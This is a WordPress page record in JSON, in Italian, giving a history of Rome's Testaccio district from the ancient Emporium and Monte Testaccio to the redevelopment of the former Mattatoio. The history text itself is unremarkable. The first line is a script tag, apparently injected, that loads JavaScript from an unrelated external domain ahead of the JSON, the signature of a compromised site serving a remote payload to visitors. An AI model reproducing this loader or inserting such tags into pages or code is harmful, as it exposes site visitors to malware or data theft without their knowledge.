<script src="https://id-id.id/Cru0j4" type="text/javascript"></script>{"id":287,"date":"2015-05-15T08:41:13","date_gmt":"2015-05-15T08:41:13","guid":{"rendered":"http:\/\/193.204.167.103\/aut\/?page_id=287"},"modified":"2015-08-03T08:12:26","modified_gmt":"2015-08-03T08:12:26","slug":"la-storia-del-quartiere","status":"publish","type":"page","link":"http:\/\/193.204.167.103\/aut\/?page_id=287","title":{"rendered":"la storia del quartiere"},"content":{"rendered":"<p>Il quartiere di Testaccio si estende su un\u2019area di circa 600.000 mq ed \u00e8 delimitato a nord-ovest dall\u2019ansa del Tevere, ad est dal colle dell\u2019Aventino e a sud dalle Mura Aureliane.<\/p>\n<p><strong><em>La fase romana<\/em><\/strong><\/p>\n<p>Il nome Testaccio deriva dal cosiddetto Monte (<em>mons Testaceus<\/em>), alto circa 54 metri s.l.m. (30 al di sopra della zona circostante), con una circonferenza di 1 chilometro e una superficie di circa 20.000 mq, formato dagli scarti dei vasi di coccio (<em>textae<\/em>) e detriti vari, accumulatisi nei secoli come residuo dei trasporti che facevano capo all\u2019antico porto di Roma (<em>Emporium<\/em>). Il porto, originariamente collocato nell\u2019ansa a est dell\u2019Isola Tiberina, venne trasferito in quest\u2019area nel sec. II a.C. e comprendeva l\u2019<em>Emporium<\/em>, grande banchina sul fiume, e numerosi magazzini (<em>Porticus Aemilia<\/em>, <em>Horrea Galbana<\/em>, <em>Lolliana<\/em>, <em>Seiana<\/em> ecc.). Come detto, il Monte Testaccio o dei Cocci, era una grande discarica di frammenti di anfore olearie la cui disposizione seguiva regole precise. La datazione di questi frammenti risale ad un arco temporale che va dal 140 a.C. e al 251 d.C., quando lo sviluppo degli <em>horrea<\/em> nel porto di Ostia esaurisce il ruolo annonario della scalo tiberino e le attrezzature diventano deposito di marmi (da cui il nome <em>Marmorata<\/em> di uno degli assi stradali della zona). Tra le altre emergenze archeologiche che distinguono la zona si ricordano la piramide di Caio Cestio Epulone (realizzata tra il il 18 e il 12 a. C.), in prossimit\u00e0 della quale \u00e8 visibile un tratto dell\u2019antica via <em>Ostiensis<\/em> e le Mura Aureliane (III secolo d.C.), con l\u2019antica porta <em>Ostiensis<\/em> (ora san Paolo).<\/p>\n<p><strong><em>La fase medievale e moderna<\/em><\/strong><\/p>\n<p>Come si rileva anche dalla cartografia storica, il progressivo fenomeno di ruralizzazione avviato tra il V e il VII sec d.C. porter\u00e0 la zona ad essere caratterizzata da una destinazione prevalentemente agricola (vigne ed orti). In particolare dalla pianta di Roma di Gian Battista Nolli, del 1748, \u00e8 riconoscibile oltre la divisione delle diverse tenute, la presenza, in prossimit\u00e0 del Tevere degli antichi resti della <em>Porticus Aemilia<\/em> e, a ridosso della piramide di Caio Cestio, l\u2019indicazione del <em>Cimitero acattolico<\/em>, eletto dal XVII sec luogo di sepoltura degli stranieri non cattolici residenti a Roma. Fino al XVIII sec l\u2019area a ridosso del Monte Testaccio, nota come <em>Prati del popolo romano, <\/em>viene destinata a pubblico godimento e riservata a manifestazioni religiose e ludiche, raffigurate in diversi documenti iconografici. Tra la fine del XVII e il XVIII sec lungo il perimetro del Monte, saranno realizzate le <em>grotte<\/em> destinate a cantine e a magazzini per la conservazione del vino, trasformate poi in osterie e locali vari. La zona, inoltre, grazie alla vicinanza con il porto di Ripa grande, fino al XIX sec, ospiter\u00e0 anche numerose attivit\u00e0 commerciali.<\/p>\n<p><strong><em>Il quartiere industriale di Roma Capitale<\/em><\/strong><\/p>\n<p>Con il piano regolatore del 1873 la piana di Testaccio viene destinata alla realizzazione di un <em>quartiere ad arti clamorose, fabbricati per abitazioni di operai e grandi officine<\/em>. Cos\u00ec, con la costruzione del nuovo Mattatoio progettato da Gioacchino Ersoch (1888-1891), che sostituisce quello presso Porta del Popolo, l\u2019area diventa un quartiere di residenze per operai. La lottizzazione residenziale viene promossa prima dai privati, che alla fine dell\u2019Ottocento realizzano un nucleo di abitazioni intorno a piazza Mastro Giorgio (oggi piazza Testaccio) e poi dall\u2019Istituto per le Case Popolari di Roma che, dal 1908 al 1930, interviene sistematicamente nella definizione dell\u2019assetto edilizio della quartiere. Oltre agli interventi residenziali, dagli inizi del Novecento, verranno realizzati una serie di edifici istituzionali e di servizio, come la chiesa di santa Maria Liberatrice, le scuole, la caserma dei Vigili del Fuoco, l\u2019edificio della Poste a via Marmorata, lo stadio di calcio <em>Campo Testaccio<\/em> e una serie di sistemazioni degli spazi pubblici e stradali (tra questi, la realizzazione del ponte Sublicio e di ponte Testaccio, gi\u00e0 ponte d\u2019Africa). A seguito dell\u2019istituzione di otto nuovi rioni, il 9 dicembre 1921, il quartiere viene costituito come rione XX.<\/p>\n<p><strong><em>Dal dopoguerra alla dismissione dell\u2019ex Mattatoio<\/em><\/strong><\/p>\n<p>Nel dopoguerra, lungo via Zabaglia, tra le mura Aureliane e il Monte Testaccio, viene realizzato il Cimitero di guerra degli inglesi (<em>Commonwealth War Graves<\/em>), mentre, in corrispondenza dei <em>Prati del popolo romano, <\/em>si assiste alla progressiva occupazione di una serie di manufatti adibiti ad officine, depositi e residenze. A seguito della dismissione del Mattatoio, nel 1975, l\u2019amministrazione capitolina, attraverso un Piano Quadro per Testaccio, promuove una serie di progetti urbani ed edilizi che, dagli anni \u201980 ad oggi, hanno portato alla riqualificazione del quartiere. Tra questi si ricordano: gli interventi residenziali dell\u2019Istituto Case Popolari, il recupero dell\u2019ex Borsa al Campo Boario, gli allestimenti per l\u2019Estate Romana, la realizzazione dell\u2019Asilo e della Biblioteca comunale <em>Enzo Tortora<\/em>, la sistemazione della piazza di santa Maria Liberatrice e di piazza Testaccio, l\u2019apertura del nuovo Mercato rionale, con gli spazi di <em>Porta Futuro<\/em> della Provincia di Roma. Inoltre, a cura della Soprintendenza speciale per i beni archeologici di Roma sono state restaurate le strutture dell\u2019<em>Emporium<\/em>, della<em> Porticus Aemilia<\/em>, i reperti degli <em>horrea,<\/em> ritrovati nell\u2019area del nuovo Mercato e la piramide di Caio Cestio.<\/p>\n<p><strong><em>Dalla dismissione dell\u2019ex Mattatoio<\/em> <em>alla Citt\u00e0 delle Arti<\/em><\/strong><\/p>\n<p>Con la dismissione dell\u2019ex Mattatoio la zona ha subito una progressiva trasformazione diventato per la citt\u00e0 di Roma un\u00a0importante polo culturale oltre che residenziale. Nel 1982, l\u2019Assessorato per gli Interventi su Centro Storico, guidato da Carlo Aymonino, istituisce un laboratorio di progettazione delle aree strategiche dell\u2019Esquilino e di Testaccio. L\u2019area di Testaccio viene affidata ad un gruppo di tecnici coordinati da Luigi Caruso affiancato da Carla Salanitro e Guido Ingrao. Nell\u2019ambito dei progetti elaborati per Testaccio sono stati previsti una serie di interventi di recupero dell\u2019ex Mattatoio e del Campo Boario che hanno portato nel corso degli anni a programmare da parte dell\u2019amministrazione capitolina il riuso dei vecchi padiglioni\u00a0per realizzare la <em>Citt\u00e0 delle Arti,<\/em> con spazi polivalenti dedicati alla cultura e alla formazione tecnica e artistica. Attualmente questi spazi comprendono il Macro, il Dipartimento di Architettura, l\u2019Accademia di Belle Arti, la Scuola popolare di musica di Testaccio. Ad essi si aggiungono, insieme con altri insediamenti, le aree e i padiglioni della Citt\u00e0 dell\u2019Altra Economia e della Pelanda. \u00c8 in atto, a cura di Roma Capitale, il programma di riqualificazione della piazza Giustiniani e del piazzale interno del complesso.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il quartiere di Testaccio si estende su un\u2019area di circa 600.000 mq ed \u00e8 delimitato a nord-ovest dall\u2019ansa del Tevere, ad est dal colle dell\u2019Aventino e a sud dalle Mura Aureliane. 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